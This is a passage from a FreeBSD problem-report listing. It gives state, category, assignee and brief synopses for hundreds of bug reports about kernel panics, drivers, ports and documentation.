amd64 [panic] 2 amd64 dl380 g5 with dual quadcore xeons, 8 a o gnu/128262 [libgcc] [patch] contrib/gcclibs/libcpp/errors.c: -Wmi o kern/128260 ipfw [ipfw] [patch] ipfw_divert damages IPv6 packets o amd64/128259 amd64 csh(1): "`" crashes csh o ports/128256 ale www/tomcat-native rewrites APR library distributed wit o ports/128250 pgollucci net-mgmt/net-snmp: pf (packet filter) support p kern/128247 bz [ip6] [panic] Fatal Trap 12 in ip6_forward = o kern/128245 scsi [scsi] "inquiry data fails comparison at DV1 step" [re p docs/128222 trhodes [patch] man page truss(1) claims that init(8) can be t f kern/128181 yongari [fxp] panic in fxp_add_rfabuf o threa/128180 attilio pthread_cond_broadcast(3) lost wakeup o kern/128177 jeff [sched_ule] wrong CPU usage reported by top/ps with SC f ports/128176 openoffice editors/openoffice.org-3 - 3.0.0 crash (macro security f kern/128173 fs [ext2fs] ls gives "Input/output error" on mounted ext3 o kern/128172 gavin [keyboard] Remote Console (Keyboard) of AOC-SIM1U+ not o kern/128165 [aac] [patch] sync aac(4) with the latest vendor versi o ports/128142 mi update net/ekiga to 3.0.0 to fit GNOME 2.24 o ports/128141 mi update net/opal to 3.4.1 to fit GNOME 2.24 o www/128113 www outdated port count graph in www.freebsd.org/ports o kern/128103 vwe [feature request] [patch] new SiS 190 NIC driver o bin/128096 bushman [patch] nscd(1): Failure in memset . o bin/128094 [patch] lint(1): Sizeof(pointer) bug in usr.bin/xlint/ o ports/128091 sobomax misc/zaptel drivers can't be used when asterisk runs a p docs/128089 kientzle [patch] Incorrect type in archive_write(3) manpage f bin/128088 vwe who(1) not listing all logged in users. o ports/128086 multimedia Add schroedinger (dirac) codec support for multimedia/ o kern/128083 [psm] [panic] early SMP panic on GA-G31M-S2L motherboa o ports/128078 apache www/apache20 -- LDAP support is broken o kern/128076 [panic] Fatal trap 12: page fault while in kernel mode o kern/128040 [pccbb] [patch] System hangs when PCMCIA-CF adapter pl o kern/128037 [pccbb] [patch] System hang on shutdown with PCMCIA-CF o kern/128036 [sio] [patch] serial console mostly ignores typein to o kern/128035 [ata] unexpexted detach of external SATA drive o docs/128032 jeff pthread(3) mentions libkse which has been removed in 8 s conf/128030 bz [ipsec] [request] Isn't it time to enable IPsec in GEN o ports/128028 portmgr bsd.port.mk - Ports-Script do not recognize dialog-ret o ports/128025 shaun [patch] security/heimdal ldap support broken under 7 o i386/128014 i386 [geode] [patch] AMD Geode CS5536 watchdog(9) not disab f kern/128009 vwe setkey(8) coredumps freebsd7 on sha1_result line 263 p o bin/128001 net wpa_supplicant(8), wlan(4), and wi(4) issues p ports/127995 jpaetzel net/isc-dhcp30-server creates a user/group with dynami p bin/127986 [patch] ee(1): fix compiler warnings caused by use of o ports/127982 amdmi3 games/tnl: crashes when clicking on `single mission' i o i386/127981 i386 [loader] Stack underflow preventing boot [regression] o usb/127980 usb [umass] [patch] Fix Samsung YP U2 MP3 player on 7.x an o kern/127971 [panic] 7.0 RELEASE PANIC o bin/127932 [patch] mkdir(1): mkdir -p PATH fails if a directory i o kern/127930 ed auto-logout does not work o kern/127928 net [tcp] [patch] TCP bandwidth gets squeezed every time t o kern/127927 scsi [isp] isp(4) target driver crashes kernel when set up o usb/127926 usb [boot] USB Timeout during bootup o docs/127923 loader Please mention qemu in the FreeBSD Handbook o kern/127920 pf [pf] ipv6 and synproxy don't play well together o bin/127918 [patch] ATA Security support for atacontrol(8) o conf/127917 rc [patch] dumpon rejects on start with physmem>swap even o bin/127912 In theory, uncompress(1) may crash and SEGV f kern/127910 vwe [nfe] FBSD-7.0 amd64 nfe ethernet not completely worki o docs/127908 doc [patch] readdir(3) error documentation o www/127898 bugmeister [patch] query-pr.cgi: properly treat quoted-printable p docs/127890 trhodes socket(2) man page should explain that protocol can be o ports/127889 sem ports-mgmt/portupgrade detects spurious failures and s o kern/127887 [psm] PSM0 not detected by the KERNEL in Compaq Prolia o bin/127872 [libc] [patch] Rewinding on unionfs and Subversion o kern/127870 [panic] HP DL320 lockup with kernel panic s docs/127844 doc Example code skeleton_capture_n.c in meteor(4) manpage o docs/127842 murray list of hardware devices missing from the relnotes p docs/127840 murray [patch] fix entity references in release/doc/en_US.ISO o kern/127834 net [ixgbe] [patch] wrong error counting o bin/127832 mux csup(1) is reporting RCS errors in ports. o kern/127826 net [iwi] iwi0 driver has reduced performance and connecti s ports/127822 tmclaugh [PATCH] security/sudo: add tuneable variable SUDO_LDAP o kern/127815 net [gif] [patch] if_gif does not set vlan attributes from o conf/127814 pf [pf] The flush in pf_reload in /etc/rc.d/pf does not w f kern/127813 linimon [ata] ata diver dma mode work incorrectly on chip vt82 o kern/127787 [lor] 3 lock LOR in recent CURRENT f ports/127778 brooks lang/llvm-gcc4: llvm can't create shared lib o bin/127764 [boot0cfg] [patch] preserve NT disk UID data for boot0 o ports/127728 ports/games/freebsd-games doesn't build, and larn(6) s o kern/127724 net [rtalloc] rtfree: 0xc5a8f870 has 1 refs f bin/127719 net [arp] arp: Segmentation fault (core dumped) o ports/127718 brooks [patch] devel/llvm: use PIC on amd64 and add optional o kern/127717 [ata] [patch] - support write cache toggling per devic o bin/127711 sysinstall(8): cant excape from failed distribution ft o ports/127672 multimedia multimedia/transcode won't compile with ImageMagick in o kern/127659 fs [tmpfs] tmpfs memory leak p kern/127644 weongyo [ndis] [panic] NDIS panic o amd64/127640 amd64 gcc(1) will not build shared libraries with -fprofile- o bin/127633 edwin [patch] Update top(1) to 3.8b1 o kern/127623 [headers] header definition for cftime is missing. s ports/127608 marius [patch] sysutils/cdrtools - cdrecord: fix device enume p docs/127602 trhodes [patch] Incomplete information in nsswitch.conf(5) s kern/127587 net [bge] [request] if_bge(4) doesn't support BCM576X fami o kern/127581 acpi [patch] [acpi_sony] Add support for more Sony features o kern/127553 [build] (errata) in kernel generic et al, device ural s usb/127549 usb [umass] [patch] Meizu MiniPlayer M6 (SL) requires some o usb/127543 n_hibma [patch] [ubsa] Support Option Globetrotter HSDPA modem o bin/127532 [patch] install(1): install -S Not Safe in Jail with s f kern/127528 net [icmp]: icmp socket receives icmp replies not owned by f kern/127517 [ata] sata does not detect SATA-300 disk but instead d f ports/127499 mi [PATCH] Update devel/icu to 4.0 o www/127497 www new entry to FreeBSD/amd64 Project -- motherboards a ports/127496 mi devel/icu 3.8.1_1 does not build when Danish locale is o kern/127492 fs [zfs] System hang on ZFS input-output o kern/127486 [smp] [panic] early SMP panic ("AP #1 (PHY #1) failed! o amd64/127484 amd64 [timecounters] Drift problem with FreeBSD 7.0 and 7.1 o bin/127475 [patch] sockstat(1) output columns run into each other o misc/127471 [build] [patch] installworld fails if install-info is s ports/127469 portmgr bsd.port.mk - ports system does not honour NO_MANCOMPR o ports/127467 portmgr bsd.port.mk: fix checking DISTDIR for writeability s usb/127453 usb [request] ubsa, uark, ubser, uftdi, and friends should o amd64/127451 amd64 [scheduler] incorrect load on quad core p kern/127446 emax [kbdmux] [patch] fix race in sys/dev/kbdmux/kbdmux.c o kern/127441 jb [dtrace] Dtrace timestamp variable is wrapping as if d o kern/127440 jb [dtrace] Dtrace arg0/arg1 variables don't contain retu o kern/127439 pf [pf] deadlock in pf p docs/127432 remko [patch] update fsck_ffs(8) man-page with regarding to o usb/127423 usb [boot] BTX halted on Gigabyte GA-MA69VM-S2 / AMD Sempr o kern/127420 fs [gjournal] [panic] Journal overflow on gmirrored gjour p kern/127411 [ata] [panic] ata panics on bad block p docs/127406 n_hibma [patch] update umodem man page: Sony Ericsson W810i o amd64/127397 amd64 [amd64] 32bit application on FreeBSD-6.3 amd64 gets SI o kern/127391 [ata] [patch] Intel 6300ESB SATA150 cannot find disk a o i386/127387 kib [i386] [patch] Inline assembler in x86 _start() in crt f kern/127375 kmacy [zfs] If vm.kmem_size_max>"1073741823" then write spee o i386/127374 i386 Suspend/Resume with Keystroke only once on Thinkpad T4 o kern/127360 kmacy [socket] TOE socket options missing from sosetopt() o docs/127359 keramida Undocumented firewall_xxx options for rc.conf in stabl f kern/127345 pf [pf] Problem with PF on FreeBSD7.0 [regression] o i386/127343 i386 [hang] System locks -- simular to PR 123729 o usb/127342 usb [boot] [panic] enabling usb keyboard and mouse support o i386/127337 i386 [boot] FreeBSD 7.1/i386 BTX boot problem on Pavilion d a bin/127331 edwin [patch] top(1) only shows cputime used by one process o ports/127321 japanese/kon2-16dot: buffer overflow and mouse bugs o ports/127319 dougb [PATCH] ports-mgmt/portmaster - add completion for zsh o kern/127316 [ata] non aligned DMA transfer errors when using growi o ports/127304 markm lang/gcl is not broken now o ports/127303 kuriyama [patch] misc/amanda-server Add pkg-install to create m o ports/127292 timur net/samba3: not work cancel inheritance on share p kern/127289 [ata] [patch] new pci ids for SiI3132 present on adapt o ports/127286 linimon update to makeduds script to annotate why packages wer o bin/127280 des [libfetch] [patch] fetch/libfetch RFC 1738 %2F escaped s amd64/127276 amd64 ldd(1) invokes linux yes o bin/127270 fsck_msdosfs(8) may crash if BytesPerSec is zero o bin/127265 [patch] ddb(4): Adding the ddb command set from module o ports/127262 skv lang/php5: fbclient crashes php engine [regression] o docs/127253 gavin Error in Handbook: http://www.freebsd.org/doc/en/books p kern/127250 [ata] Kerneltrap 12 with atacontrol o usb/127248 usb [ucom] panic while uplcom devices attaach and detach o kern/127233 darrenr [ipnat]: ipnat + ipfilter source routing not handling o kern/127230 ipfw [ipfw] [patch] Feature request to add UID and/or GID l s ports/127229 lwhsu [PATCH] sysutils/dtc: unbreak, fix some typos, remove o threa/127225 threads bug in lib/libthr/thread/thr_init.c o kern/127222 usb [ohci]: Regression in 7.0 usb storage generic driver o ports/127214 secteam [PATCH] ports-mgmt/portaudit: Please change to U o kern/127213 fs [tmpfs] sendfile on tmpfs data corruption o ports/127210 portmgr bsd.destdir.mk - chrooted install of a port does not f o kern/127209 ipfw [ipfw] IPFW table become corrupted after many changes o bin/127192 net routed(8) removes the secondary alias IP of interface o ports/127181 audio/musicpd logs warning o ports/127154 danfe missing dependency for audio/rezound f kern/127145 net [wi]: prism (wi) driver crash at bigger traffic o gnu/127136 Typo in tree-nested.c o ports/127132 anray mail/vm needs updated to version 8.0.* o kern/127131 multimedia [bktr] /usr/src/sys/dev/bktr/bktr_os.c, line 469: wron o amd64/127129 amd64 mdconfig(8) is core dumping with Segmentation Fault 11 o kern/127121 pf [pf] [patch] pf incorrect log priority f kern/127119 [ata] incorrect ata device probing o kern/127109 [mpt]: FreeBSD fails to boot except in safe mode o ports/127104 skv devel/otrs - OTRS/PostgreSQL 8.3.3 error: Syntax error o kern/127102 net [wpi] Intel 3945ABG low throughput o bin/127095 mux csup(1): Csup truncates files using RELENG_6 s ports/127087 mail/bincimap port does not include an rc.d file o ports/127084 multimedia multimedia/linux-realplayer is vulnerable o kern/127057 net [udp] Unable to send UDP packet via IPv6 socket to IPv s bin/127056 lp(1) doesn't use -o options f sparc/127051 sparc64 [hme] hme interfaces "pause" with the message "device o kern/127050 net [carp] ipv6 does not work on carp interfaces [regressi o kern/127048 systat(1) information leak when security.bsd.see_other o bin/127045 julian setfib(1) coredumps if called with fib value out of ra o kern/127042 pf [pf] [patch] pf recursion panic if interface group is p kern/127040 davidxu [patch] mqueuefs(5) witness panic o bin/127034 [patch] Add option to count apparent size to du(1) o kern/127029 fs [panic] mount(8): trying to mount a write protected zi o ports/127019 sem ports-mgmt/portupgrade does not recognize fail conditi f ports/127018 emulation Linuxulator incapable of using FreeBSD's LDAP environm o ports/127017 sysutils/ntfsprogs - ntfsclone not working version 2.0 f kern/126984 glebius [carp] [patch] add carp userland notifications via dev o kern/126973 daichi [unionfs] [hang] System hang with unionfs and init chr o kern/126971 [boot] loader/kernel does not obey comconsole_speed o conf/126946 [patch] Add OpenVPN ports to services(5) o kern/126945 net [carp] CARP interface destruction with ifconfig destro o kern/126937 rnoland [drm] System hang when start X o bin/126936 locate.updatedb(8): updatedb fails silently when attem p docs/126934 trhodes missing 'crit' in usr.sbin/syslogd/syslog.conf.5 s ports/126932 itetcu gapcmon option in sysutils/apcupsd conflicts with sysu o kern/126926 [build] [patch] Add MACHINE to dmesg o kern/126924 net [an] [patch] printf -> device_printf and simplify prob o kern/126902 geom [geom] geom_label: kernel panic during install boot o kern/126895 net [patch] [ral] Add antenna selection (marked as TBD) o usb/126884 usb [ugen] [patch] Bug in buffer handling in ugen.c o kern/126874 net [vlan]: Zebra problem if ifconfig vlanX destroy o kern/126866 scsi [isp] [panic] kernel panic on card initialization o kern/126861 [panic] 6.2 (SMP) crashes when polling disabled o ports/126853 secteam ports-mgmt/portaudit: speed up audit of installed pack f usb/126848 usb [usb]: USB Keyboard hangs during Installation p conf/126841 philip [syscons] [patch] Add eee900 keyboard layout to /usr/s p conf/126829 matteo gjournal not in /boot/defaults/loader.conf o ports/126826 thierry sysutils/xvidcap failes to build o bin/126822 net wpa_supplicant(8): WPA PSK does not work in adhoc mode o kern/126821 [panic] Fatal trap 12 (kdeinit) o bin/126819 randi sysinstall(8) During install if initial name look-up f f ports/126812 x11 x11-drivers/xf86-video-ati - System freeze when exitin o kern/126807 [ata] PATA DVD drive attached to AMD IXP700 chipset no o kern/126788 [boot] Can not boot FreeBSDv7.0.iso from USB formated o kern/126784 [agp] agp.ko doesn't detect Acer Aspire One onboard gr o ports/126760 danfe [update] audio/gtkpod - has additional dependencies o misc/126747 [build] bsd.dep.mk does not remove .depend on cleandep o usb/126740 usb [ulpt] doesn't work on 7.0-RELEASE, 10 second stall be o bin/126721 gcc(1) g++(1) Compiling, assembling and linking code w o kern/126714 net [carp] CARP interface renaming makes system no longer f kern/126703 kmacy [panic] [zfs] _mtx_lock_sleep: recursed on non-recursi o kern/126697 emaste [aac] aac driver bug. aaccli still doesn't work o kern/126695 net rtfree messages and network disruption upon use of if_ o kern/126688 net [ixgbe] [patch] 1.4.7 ixgbe driver panic with 4GB and p bin/126682 delphij [patch] sed(1) segfaults on error rather than error me o ports/126668 multimedia [patch] multimedia/ffmpeg - quick and dirty symbol bui o i386/126666 i386 [boot] [hang] boot failure for nForce 630i / GeForce 7 f kern/126665 yongari [vr] Integrated VIA Rhine II receive errors o ports/126664 roam mail/vpopmail - Failure to upgrade to courier-0.54.0_1 p bin/126657 [patch] w(1) breaks multibyte date format o ports/126656 danfe [update] audio/libgpod - add option to build SysInfo d s kern/126620 [request] RTL8187B Driver for freebsd o bin/126619 randi sysinstall(8) deletion of routes when reinitializing m f www/126617 jkois Commercial vendory entry addition request o docs/126590 doc [patch] Write routine called forever in Sample Echo Ps o bin/126562 rc rcorder(8) fails to run unrelated startup scripts when o kern/126553 daichi [unionfs] unionfs move directory problem 2 (files appe o bin/126546 des pam_nologin(8) in auth causes log spam o ports/126534 perky [Update]databases/py-rrdtool_lgpl:update to 1.0b1 o usb/126519 usb [usb] [panic] panic when plugging in an iphone o ports/126513 doceng print/ghostscript8 (was ghostscript-gpl): compile bug p docs/126487 keramida fix language on atol(3) manpage o docs/126484 doc libc function res-zonscut2 is not documented o kern/126475 net [ath] [panic] ath pcmcia card inevitably panics under f kern/126469 yongari [fxp] [panic] fxp(4) related kernel panic p bin/126468 bz [ipsec] some ipsec configurations make FreeBSD panic p docs/126451 delphij Exit status of nc(1) is not documented a bin/126446 secteam Vulnerability about OpenSSL p misc/126435 ed [patch] /usr/share/examples/drivers/make_pseudo_driver o bin/126433 [patch] some missing checks in rm(1) o kern/126419 [ar] Fails to boot from RAID10 volume under the Intel o kern/126396 usb [panic] kernel panic after unplug USB Bluetooth device o conf/126392 rc [patch] rc.conf ifconfig_xx keywords cannot be escaped o bin/126384 [request] find(1) doesn't support whiteout entries yet p kern/126368 bz [jail] Running ktrace/kdump in jail leads to stale jai o kern/126364 [panic] Fatal trap 12: page fault while in kernel mode o kern/126339 net [ipw] ipw driver drops the connection o bin/126324 rc [patch] rc.d/tmp: Prevent mounting /tmp in second tim o misc/126312 [build] debug message going to stderr while doing "mak o ports/126309 sobomax /usr/ports/misc/zaptel driver dont support the TE122 o bin/126307 syrinx bsnmpd(1): UNIX socket leak on 6.3 when using Hostres- o conf/126305 nsmb.conf(5): Hostnames in nsmb.conf seem to be ignore o ports/126303 dougb Make it easy to change FD_SETSIZE while building dns/b o bin/126301 pkg_version(1) can induce unexpected parsing of INDEX o kern/126300 [build] [patch] Add missing -mno-sse3 flag for AMD64 t o kern/126289 [libc] select(2) apparently consumes cpu when it shoul o kern/126287 fs [ufs] [panic] Kernel panics while mounting an UFS file o kern/126242 [ata] Read error from SATA CD/DVD-drives [regression] o kern/126232 emulation [linux] Linux ioctl TCGETS (0x5401) always fails o misc/126230 weird process cpu usage stats and weird load average p docs/126227 trhodes [patch] kthread(9) refers to non-existent manpage, des o kern/126214 net [ath] txpower problem with Atheros wifi card o i386/126162 i386 [acpi] ACPI autoload failed : loading required module o kern/126142 [ata] M5281: READ DMA faults, device detaching o ports/126140 sem ports-mgmt/portupgrade runtime error o misc/126131 cperciva portsnap(8) fetch error with HTTP_PROXY or HTTP_PROXY_ o kern/126113 rnoland [drm] Issues with DRM with Intel GM965 chipset o kern/126098 [cy] 6.3 only sees 16 ports on 32 port Cyclades Cyclom f kern/126089 [panic] Fatal trap 12: page fault while in kernel mode o ports/126085 shaun news/inn update make environment to allow for Berkeley o ports/126083 thierry textproc/aspell core dumps f ports/126079 portmgr [patch] bsd.port.mk: make openssl.mk usable after pre. o kern/126076 [headers] POLL_ERR and POLL_HUP are defined identicall o kern/126075 net [inet] [patch] internet control accesses beyond end of f ports/126043 multimedia multimedia/ffmpeg: ffplay returns Undefined symbol "pt f ports/126042 mi audio/festival: add OGI option o ports/126020 multimedia multimedia/transcode depends on wrong version of lzo o ports/126019 multimedia [patch] multimedia/transcode patch revision o ports/126012 portmgr [NEW PORT]: wxHaskell ports f ports/125996 danfe [patch] x11/nvidia-driver - remove pkg_info statements f kern/125985 [umass] [panic] no da-device, panic upon unplugging o ports/125936 sem ports-mgmt/portupgrade -R fails if BUILD_DEP's are not o bin/125932 pkg_add(1) doesn't prompt for root credentials and the o bin/125922 net [patch] Deadlock in arp(8) o docs/125921 doc lpd(8) talks about blocks in minfree while it is KB in o kern/125920 net [arp] Kernel Routing Table loses Ethernet Link status o kern/125895 [panic] kernel: panic: ffs_blkfree: freeing free block o ports/125883 x11 x11-fonts/xorg-fonts-cyrillic is installed, but fonts f i386/125880 i386 [cardbus] Cardbus cards Don't function on TI PCIxx12 C p bin/125878 kmacy [patch] [request] Add zfs/zpool to rescue programs. o amd64/125873 amd64 [smbd] [panic] Repeated kernel panics, trap 12 page fa o kern/125859 [ata] [patch] sata access failure [regression] o bin/125855 standards sh(1) allows for multiline, non-escaped control struct o kern/125845 net [netinet] [patch] tcp_lro_rx() should make use of hard o ports/125823 sem [PATCH] ports-mgmt/portupgrade does not use custom ECH o kern/125816 net [carp] [if_bridge] carp stuck in init when using bridg o kern/125808 rnoland [drm] [patch] Radeon X800 GTO - *ERROR* Offset failed o kern/125806 kmacy [cxgb] cxgb packet counters do not work o kern/125771 dougb bind(2) in base system incorrectly sets AD bit even wh o kern/125769 [ses] [panic] getencstat(8) panics system with "Sleepi o kern/125759 [ar] Fatal Trap 12 when ICH9R RAID becomes degraded s kern/125756 multimedia [sound] [patch] cannot detect soft-modem on HDA bus f bin/125753 cron(8) not mailing output o docs/125751 doc man 3 pthread_getschedparam section ERRORS incomplete s kern/125738 fs [zfs] [request] SHA256 acceleration in ZFS o usb/125736 usb [ukbd] [hang] system hangs after AT keyboard detect if o kern/125723 [ciss] System randomly crashes or can not boot - ciss o kern/125722 [boot] [install] error "BTX halted" at installation Fr o kern/125721 [ath] Terrible throughput/high ping latency with Ubiqu o ports/125719 skreuzer shells/pdksh, zombie process's occouring on SMP Machin o docs/125717 keramida minor wpa_supplicant.conf(5) buglet o kern/125710 [vga] Dragon_Saver Error 19 Freebsd 7.0 AMD64 o bin/125707 [patch] powerd(8): force a method of battery state que o kern/125704 [ng_nat] kernel libalias: repeatable panic o bin/125678 [patch] ls(1) -h option doesn't work if the listing co o kern/125675 [keyboard] [patch] Add hw.syscons.kbd_suspend new sysc p kern/125673 firewire [firewire] [panic] FreeBSD7 panics when kldunloading f o ports/125655 mbr Incorrect startup variable in mail/up-imapproxy rc.d/i o kern/125647 [ciss] [panic] System randomly crashes - ciss driver o kern/125644 fs [zfs] [panic] zfs unfixable fs errors caused panic whe p docs/125639 trhodes [patch] kldunloadf(2) does not mention about possible o usb/125631 usb [ums] [panic] kernel panic during bootup while 'Logite o kern/125617 [ath] ath(4) related panic a kern/125613 trasz [ufs] [patch] ACL problems with special files o i386/125592 i386 [hang] FreeBSD 7 server in hang o java/125583 java Java gui programs stop without error message o conf/125551 [patch] building WLAN userland should be optional f kern/125536 fs [ext2fs] ext 2 mounts cleanly but fails on commands li o i386/125516 gavin [install] 7.0-RELEASE install dies o usb/125510 usb [panic] repeated plug and unplug of USB mass storage d f kern/125502 net [ral] ifconfig ral0 scan produces no output unless in o kern/125501 [ath] atheros cardbus driver hangs o kern/125496 [ar] [patch] free memory on ataraid module unload o kern/125467 pf [pf] pf keep state bug while handling sessions between o kern/125454 [digi] [patch] device digi (PC/Xe 64K 16 ports) not wo f ports/125453 cy net/ntp should no longer use mlockall() o usb/125450 usb [panic] Removing USB flash card while being accessed c o bin/125449 [patch] awk(1): /usr/bin/awk fails mawk's FPE test f kern/125442 gonzo [carp] [lagg] CARP combined with LAGG causes system pa f kern/125413 kmacy [zfs] [panic] Panic when doing zfs raidz with gmirror o kern/125389 [ipmi] [bce] IPMI problem with bce o i386/125383 i386 [amdtemp] [request] please enable amdtemp on i386 o kern/125382 [libc] open(2): ENOSPC may be misleading, consider EIO o bin/125370 ipfw [ipfw] [patch] increase a line buffer limit o bin/125365 matteo [patch] mdconfig(8) -l overflow for size field f kern/125358 linimon [zfs] missing .. link in zfs snapshot o kern/125356 [kqueue] [panic] Repeated panic in kqueue_close from k o bin/125350 des [libfetch] [patch] src/lib/libfetch add support for de o kern/125332 [ath] [hang] crash under any non-tiny networking under a ports/125330 dinoex print/cups-base update fails when nscd running o docs/125329 keramida PACKAGEROOT should be documented in the Handbook o bin/125325 Annoying grep(1) bug with --color s ports/125324 editors/the (3.2) looses cursor when compiled with PDC o usb/125264 usb [patch] sysctl for set usb mouse rate (very useful for o kern/125258 net [socket] socket's SO_REUSEADDR option does not work p docs/125253 trhodes [patch] jail(2) does not mention about possible error o kern/125251 [panic] kernel panic o kern/125239 net [gre] kernel crash when using gre o usb/125238 usb [ums] Habu Mouse turns off in X f kern/125195 yongari [fxp] fxp(4) driver failed to initialize device Intel o bin/125185 csh(1) exit on signal 11 o bin/125184 des sshd(8) does not always log IP address for login failu o ports/125183 apache www/apache22 wrong SUEXEC_DOCROOT p kern/125181 thompsa [ndis] [patch] with wep enters kdb.enter.unknown, pani p bin/125154 matteo [patch] mount(8) ignores values returned by exec_mount o kern/125149 fs [nfs] [panic] changing into .zfs dir from nfs client c a kern/125139 philip [patch] [ata] bugs in ATAPI CD tray control o ports/125113 des [Update]astro/openmap:update to 4.6.4 p bin/125098 [patch] ee(1) consume 100% cpu usage o usb/125088 usb [keyboard] Touchpad not detected on Adesso AKB-430UG U o ports/125045 ume [patch] mail/cyrus-imapd: add patch for autocreate INB o conf/125041 [patch] New file: /etc/periodic/security/810.loginok o misc/125039 cperciva Updating 7.0-RELEASE with freebsd-update failes o kern/125034 [devfs] [patch] devfs does not apply rules to newly cr o kern/125030 [devfs] [patch] Command 'devfs ruleset 0' causes panic o ports/125012 ahze problems in math/ldouble for 128bit long double on i38 o i386/125011 i386 precision of constants for long double o kern/125009 [patch] access(2) grants root execute perms for non-ex p kern/125003 hrs [gif] incorrect EtherIP header format. o amd64/125002 amd64 [install] amd64, SATA hard disks not detected o kern/124996 [patch] "filesystem goof: vop_panic[vop_revoke]" panic o kern/124989 [mfi] mfi driver error - unexpected sense o usb/124980 usb [panic] kernel panic on detaching unmounted umass devi o kern/124973 geom [gjournal] [patch] boot order affects geom_journal con o gnu/124970 gdb(1): gdb crashes after setting hardware watchpoint o kern/124969 geom gvinum(8): gvinum raid5 plex does not detect missing s o kern/124963 alc [vm] [patch] old pagezero fixes for alc s kern/124933 pf [pf] [ip6] pf does not support (drops) IPv6 fragmented o kern/124908 rwatson [socket] kernel performs inadequate check for incorrec o kern/124904 yongari [fxp] EEPROM corruption with Compaq NC3163 NIC o i386/124902 i386 [i386] [patch] patch to fix VESA modes and allow 8bit o kern/124881 [devfs] [patch] [request] Add possibility to check whi o stand/124860 standards flockfile(3) doesn't work when the memory has been exh p kern/124853 gonzo [devfs.rules] [patch] devfs_ruleset_use may use freed o bin/124825 mlaier tcpdump(8) does not support pfsync(4) data o bin/124822 [editline] [patch] Editline's ed-search-{prev,next}-hi o ports/124798 brix [patch] irc/bitlbee is not doing SRV lookups for XMPP o www/124787 remko Internet Service Provider o www/124784 remko Please add to the commercial vendors list o kern/124777 usb [ucom] USB cua devices don't revert to tty devices whe o kern/124767 net [iwi] Wireless connection using iwi0 driver (Intel 220 o ports/124765 ume sysutils/gkrellm2 shows wrong number of users in proc o usb/124758 usb [rum] [panic] rum panics SMP kernel o kern/124754 [i915] i915 kernel module does not works with G965 o kern/124753 net [ieee80211] net80211 discards power-save queue packets o bin/124748 [patch] sh(1): sh -c 'exit -1' fails with "Illegal num o conf/124747 rc [patch] savecore can't create dump from encrypted swap o kern/124744 acpi [acpi] [patch] incorrect _BST result validation for To o bin/124739 edwin b64decode(1): "b64decode -r" fails to decode legal bas f ports/124727 multimedia multimedia/gstreamer-ffmpeg 0.10.4_1 configure fails a docs/124716 trhodes [patch] GEOM RAID1 handbook example only covers boot p o usb/124708 usb [panic] Kernel panic on USB KVM reattach o ports/124707 danfe [patch] audio/libgpod - add python support again o kern/124670 [ata] large file operation on RAID cause many GEOM err o bin/124669 growfs(8) does not work with RAID volume o kern/124667 scsi [amd] [panic] FreeBSD-7 kernel page faults at amd-scsi o conf/124641 [patch] new periodic script for checking for ports wit o ports/124639 kde kde audio/arts sound skipping on playback; non-artsd s f ports/124638 danfe x11/nvidia-driver - OpenGL and composite does not work o i386/124633 i386 [boot] [panic] 7.0 does not boot from CD f kern/124621 fs [ext3] [patch] Cannot mount ext2fs partition o usb/124604 usb [ums] Microsoft combo wireless mouse doesn't work o kern/124564 [kernel] [patch] add CPUID bits to ident phenom proces s misc/124541 cperciva portsnap: portsnap3.FreeBSD.org mirror on error for ov o bin/124517 [patch] cdcontrol(1) doesn't print all error messages o i386/124516 kmacy [xen] FreeBSD-CURRENT Xen Kernel Segfaults when config f ports/124501 multimedia multimedia/gstreamer-ffmpeg version 0.10.4_1 compile f o kern/124487 [procfs] [patch] Extending the PROCFS (/proc) filesyst f kern/124471 [lor] lock order reversal on kldload/kldunload dtracea o docs/124470 remko incomplete (and out of sync) glabel(8) manpage o docs/124469 remko incomplete nice(1) manpage o docs/124468 remko sticky(8) should be sticky(7) o kern/124464 [panic] Panic after showing login o misc/124452 7.0-RELEASE amd64 bootonly media fails to use DHCP bec o amd64/124432 amd64 [panic] 7.0-STABLE panic: invalbuf: dirty bufs o misc/124431 [build] [patch] minor revision of BDECFLAGS f bin/124424 fs [zfs] zfs(8): zfs list -r shows strange snapshots' siz s ports/124423 multimedia/mplayer detection of OSS Audio is faulty o kern/124412 acpi [acpi] power off error on Toshiba M40 laptop o bin/124409 fsck(8) requires exact entry for mountpoints when exec s ports/124404 vs net/pathchar coredumps o bin/124392 rink [patch] bootparamd(8) does not work on arm o kern/124389 [build] make installkernel fails with KMODDIR iff $(KM p misc/124385 mtm [build] [patch] usr.sbin/ngctl/main.c fails to compile o ports/124375 apache www/mod_auth_kerb doesn't compile against heimdal o kern/124364 pf [pf] [panic] Kernel panic with pf + bridge o bin/124353 cvsup(1): CVSup coredumps with Bus Error since install o bin/124349 [patch]: stat(1) should interpret st_flags as it does p bin/124342 mtm ggated(8): [patch] sbin/ggate/ggated/ggated.c fails to o kern/124341 net [ral] promiscuous mode for wireless device ral0 looses p kern/124334 mtm [libc] [patch] lib/libc/glob.c fails to compile under o ports/124321 kde x11/kdebase3 - KDE logins do not work with nsswitch LD o bin/124320 pam_radius(8): Login with ssh using pam_radius and a t o kern/124319 multimedia [snd_emu10k1] [regression] Cannot record from second c o kern/124294 geom [geom] gmirror(8) have inappropriate logic when workin o kern/124280 [nfs] [panic] FreeBSD 7/amd64 STABLE crash o ports/124258 des sysutils/munin-node creates $PREFIX/var/munin dir for o docs/124253 sam Broken command in the handbook for configuring a wirel p bin/124251 mtm [patch] add BUGS section to rcorder.8 with REQUIRE exp o conf/124248 rc [jail] [patch] add support for nice value for rc.d/jai o kern/124225 cokane [ndis] [patch] ndis network driver sometimes loses net o kern/124202 [aic] [patch] Add Adaptec 39320LPE to list of known de s kern/124174 [panic] Panic after installing audio/oss on an Asus A8 o kern/124164 [patch] Add SHA-256/512 hash algorithm to crypt(3) o kern/124160 net [libc] connect(2) function loops indefinitely o kern/124153 [panic] Fatal trap 12: page fault while in kernel mode o conf/124151 winbind is ignored in compat mode in nsswitch.conf(5) o amd64/124134 amd64 [kernel] The kernel doesn't follow the calling convent o kern/124130 geom [gmirror] [usb] gmirror fails to start usb devices tha o kern/124128 [puc] puc driver doesn't support VScom PCIex-800H 8-po o kern/124127 net [msk] watchdog timeout (missed Tx interrupts) -- recov o i386/124124 i386 [boot] [panic] Page fault while booting livefs iso of o bin/124119 edwin locate(1) doesn't check /etc/locate.rc for the default o kern/124111 i386_set_ldt(2): kernel says see i386_set_ldt; man pag o bin/124084 find(1): find -execdir does not prepend ./ to filename o kern/124064 [ar] [patch] cannot handle >16 serial number with Inte o bin/124057 sh(1) standard error redirection problem o bin/124052 [patch] adduser(8) throws errors when -f input file in o bin/124049 